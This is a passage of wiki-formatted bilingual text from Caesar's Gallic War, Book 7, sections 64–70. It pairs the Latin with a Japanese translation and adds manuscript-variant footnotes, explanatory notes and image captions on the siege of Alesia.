**[[w:ハエドゥイ族|ハエドゥイー族]]および（ローマ人の）属州に隣接するセグスィアウィ族には1万の歩兵（の供出）を命令していたが、
*huc addit equites [[wikt:la:octingenti|octingentos]]. 
**この中に、800騎の騎兵たち（の供出）を付け加えた。
*⑤　His praeficit fratrem Eporedorigis bellumque inferri&lt;ref&gt;inferri はα系写本の記述で、β系写本では inferre となっている。&lt;/ref&gt; Allobrogibus iubet. 
**彼らをエポレドリクスの兄弟に指揮させて、アッロブロゲス族に戦争をしかけることを命じた。
*⑥　Altera ex parte Gabalos proximosque &lt;u&gt;[[wikt:en:pagus#Latin|pagos]]&lt;/u&gt; Arvernorum in Helvios, 
**別の方面から、ガバリ族および近隣のアルウェルニー族の諸&lt;u&gt;郷&lt;/u&gt;に、ヘルウィイ族のところに（攻め入るように）、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''pagus'' (郷) はここでは、部族の領土の農村区画を指す行政用語&lt;ref name=&quot;pagus&quot;&gt;''[[w:en:Pagus]]'' 等を参照。&lt;/ref&gt;。）&lt;/span&gt;
*item Rutenos Cadurcosque ad fines Volcarum Arecomicorum depopulandos mittit. 
**同様に、ルテーニー族およびカドゥルキー族に、ウォルカエ・アレコミキ族の領土を荒らしまわるべく派遣した。
*⑦　Nihilo minus clandestinis nuntiis legationibusque Allobrogas&lt;ref&gt;Allobrogas はα系写本の記述で、β系写本では Allobroges となっている。&lt;/ref&gt; sollicitat, 
**それにもかかわらず、隠密に伝令たちや使節たちにより、アッロブロゲス族を（蜂起を）そそのかした。
*quorum mentes nondum ab&lt;ref&gt;ab はβ系写本の記述で、α系写本では ab となっている。&lt;/ref&gt; superiore bello resedisse sperabat. 
**彼ら（アッロブロゲス族）の心がかつての戦争からまだ静まっていないことを期待したのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アッロブロゲス族は、BC61年にローマに反旗を翻し、翌BC60年に鎮圧されていた。[[ガリア戦記 第1巻#6節|第1巻6節]]を参照。）&lt;/span&gt;
*⑧　Horum principibus pecunias, 
**彼らの領袖たちに金銭を（約束し）、
*civitati autem imperium totius provinciae pollicetur.
**さらに部族には（カエサル統治下の）属州全体の支配権をも約束したのだ。

===65節===
'''カエサルと同盟諸部族の防戦。ゲルマニア騎兵を呼び寄せる'''
*①　Ad hos omnes casus provisa erant praesidia cohortium duarum et viginti, 
**これらすべての出来事に対して、（カエサルは）22個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からなる守備隊を用意していた。
*quae ex ipsa coacta&lt;ref&gt;coacta はχ系･β系写本の記述で、φ系写本にはない。&lt;/ref&gt; provincia ab L.(Lucio) Caesare legato 
**それらは、&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・カエサルによって属州全体から徴集されたもので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう属州とは、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]を指すと思われる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ルキウス・ユリウス・カエサル4世 [[w:en:Lucius Julius Caesar IV|Lucius Julius Caesar IV]] は本書の著者カエサルと4代前の高祖父を共有する元執政官。[[w:en:Julii Caesares|Julii Caesares]] を参照。）&lt;/span&gt;
*ad omnes partes opponebantur. 
**あらゆる方面に対して配置された。
*②　Helvii sua sponte cum finitimis proelio congressi pelluntur 
**[[w:ヘルウィイ族|ヘルウィイ族]]は、自分たちの意思により、近隣（の諸部族）と戦闘で争って撃退され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この部族については[[#7節|7節]]～8節を参照。）&lt;/span&gt;
*et C.(Gaio) Valerio Domnotauro&lt;ref&gt;Domnotauro はS･L･N写本の記述で、A･B･N写本では Donnotauro 、χ系･π系写本では Donotauro となっており、ρ系写本には記述がない。&lt;/ref&gt;, Caburi filio, principe civitatis, 
**カブルスの息子で、部族の領袖であるガイウス・ウァレリウス・ドムノタウルス
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：彼は、ローマとの友好により、ローマ人風の名前を与えられていたのであろう。）&lt;/span&gt;
*compluribusque aliis interfectis intra oppida ac muros&lt;ref&gt;ac muros はα系写本の記述で、β系写本では murosque となっている。&lt;/ref&gt; compelluntur. 
**および他のかなりの者たちが殺戮されて、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と城壁の内側に追い込まれた。
*③　Allobroges crebris ad [[w:la:Rhodanus|Rhodanum]] dispositis praesidiis 
**[[w:アッロブロゲス族|アッロブロゲス族]]は、ロダヌス（＝現[[w:ローヌ川|ローヌ川]]）のところへ密に守備隊を分け置いて、
*magna cum cura et diligentia suos fines tuentur. 
**たいへんな注意と入念さにより、自分たちの領土を守った。
*④　Caesar quod hostes equitatu superiores esse intellegebat 
**カエサルは、敵方が[[w:騎兵|騎兵隊]]で（自軍より）優っていると認識していたので、
*et interclusis omnibus itineribus nulla re ex provincia atque Italia sublevari poterat, 
**かつ、すべての道が遮られて、属州やイタリアから何ら支援されることができなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州 provincia とはガッリア・トラーンサルピーナ、イタリア Italia とは[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことであろう。）&lt;/span&gt;
*trans [[w:la:Rhenus|Rhenum]] in [[wikt:la:Germania|Germaniam]] mittit ad eas civitates, quas superioribus annis pacaverat, 
**レヌス（＝現[[w:ライン川|ライン川]]）の向こう側の[[w:ゲルマニア|ゲルマニア]]に、先年に平定していた諸部族のところへ（使節を）遣わした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア遠征や平定については、[[ガリア戦記 第4巻#16節|第4巻16節]]～19節、[[ガリア戦記 第6巻#9節|第6巻9節]]～10節を参照。）&lt;/span&gt;
*equitesque ab his arcessit et levis armaturae pedites, 
**彼らから、騎兵たち、および[[w:ウェリテス|軽い武装の歩兵]]たちを呼び寄せた。
*qui inter eos proeliari consuerant. 
**その者ら（軽装歩兵）は、彼ら（騎兵）の間で戦闘することが常であったのだ。
*⑤　Eorum adventu, quod minus idoneis equis utebantur, 
**彼ら（ゲルマニア騎兵）が到着すると、（戦闘に）あまり適していない馬を使役していたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ゲルマニア人の馬の使用については、[[ガリア戦記 第4巻#2節|第4巻2節]]を参照。）&lt;/span&gt;
*a tribunis militum reliquisque equitibus Romanis atque evocatis equos sumit 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちやほかのローマ人騎士たちや&lt;ruby&gt;&lt;rb&gt;再徴集兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;エウォカティ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちから、馬匹を取り上げて、
*[[w:la:Germani|Germanis]]que distribuit.
**ゲルマニア人たちに分配した。

===66節===
'''属州へと南下するカエサル、迎え撃とうとするウェルキンゲトリークス'''
*①　Interea dum haec geruntur, 
**その間に、これらが出来している間に、
*hostium copiae ex Arvernis 
**敵方の（歩兵の）軍勢が（滞陣していたゲルゴウィアの）[[w:アルウェルニ族|アルウェルニー族]]のところから、
*equitesque qui toti Galliae erant imperati conveniunt. 
**および全ガッリアの命令されていた[[w:騎兵|騎兵]]たちが、（ウェルキンゲトリークスのところに）集結して来た。
*②　Magno horum coacto numero, 
**これらの（ガッリア兵の）多数が徴集されて、
*cum Caesar in Sequanos per extremos Lingonum fines iter faceret, 
**カエサルが、[[w:セクアニ族|セクアニ族]]のところに（向かって）[[w:リンゴネス族|リンゴネス族]]の領土の外縁を通って行軍していたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：属州へは、リンゴネス族と後述のマンドゥビイ族の間を通ってセクアニ族領を通らねばならなかった。）&lt;/span&gt;
*quo facilius subsidium provinciae ferri&lt;ref&gt;ferri はα系写本の記述で、β系写本では ferre となっている。&lt;/ref&gt; posset, 
**（それは）属州（ガッリア・トラーンサルピーナ）に援兵をより容易にもたらせるようにするためであったが、
*circiter milia passuum X(decem) ab Romanis trinis castris [[w:la:Vercingetorix|Vercingetorix]] consedit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちから約10ローママイル（15km）のところに、3つの陣営にて陣取った。
*③　convocatisque ad concilium praefectis equitum 
**（ウェルキンゲトリークスは）騎兵の指揮官たちを会合へ召集して、
*venisse tempus victoriae demonstrat; 
**勝利の時が来たと、明言した。
*fugere in provinciam Romanos Galliaque excedere. 
**ローマ人たちは属州に逃亡して、ガッリアから立ち退きつつある、と。
*④　Id sibi ad praesentem obtinendam libertatem satis esse; 
**それは、自分たちにとって目下のところ、自由を維持するためには十分であるが、
*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
